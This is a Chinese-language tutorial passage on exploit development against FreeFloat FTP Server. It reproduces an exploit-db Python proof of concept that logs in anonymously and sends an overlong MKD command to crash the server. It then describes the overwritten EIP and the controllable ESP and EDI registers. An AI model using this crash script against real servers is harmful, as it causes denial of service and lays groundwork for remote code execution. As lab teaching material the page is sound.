返回介绍

重现崩溃

发布于 2025-01-03 23:32:52 字数 739 浏览 0 评论 0 收藏 0

首先,我们创建一个针对 FTP SERVER 的漏洞利用框架. 后续我们将在它的基础上开发我们的漏洞利用程序. exploit-db 上”FreeFloat FTP”的 POC 如下,我们使用 FTP server 默认配置已经存在的账户名”anonymous”:

#!/usr/bin/python
import socket
import sys
evil = "A"*1000
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close

好,当我们用调试器附加 FTP server 然后发送 POC 给程序,程序崩溃. 从下面的截图可以看到 EIP 已经被覆写,两个寄存器(ESP EDI) 指向我们可控的缓冲区. 分析之后我发现使用 ESP 更合适因为 ESP 包含了更大块的可控内存.(顺便提一下用 EDI 同样也可以).

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文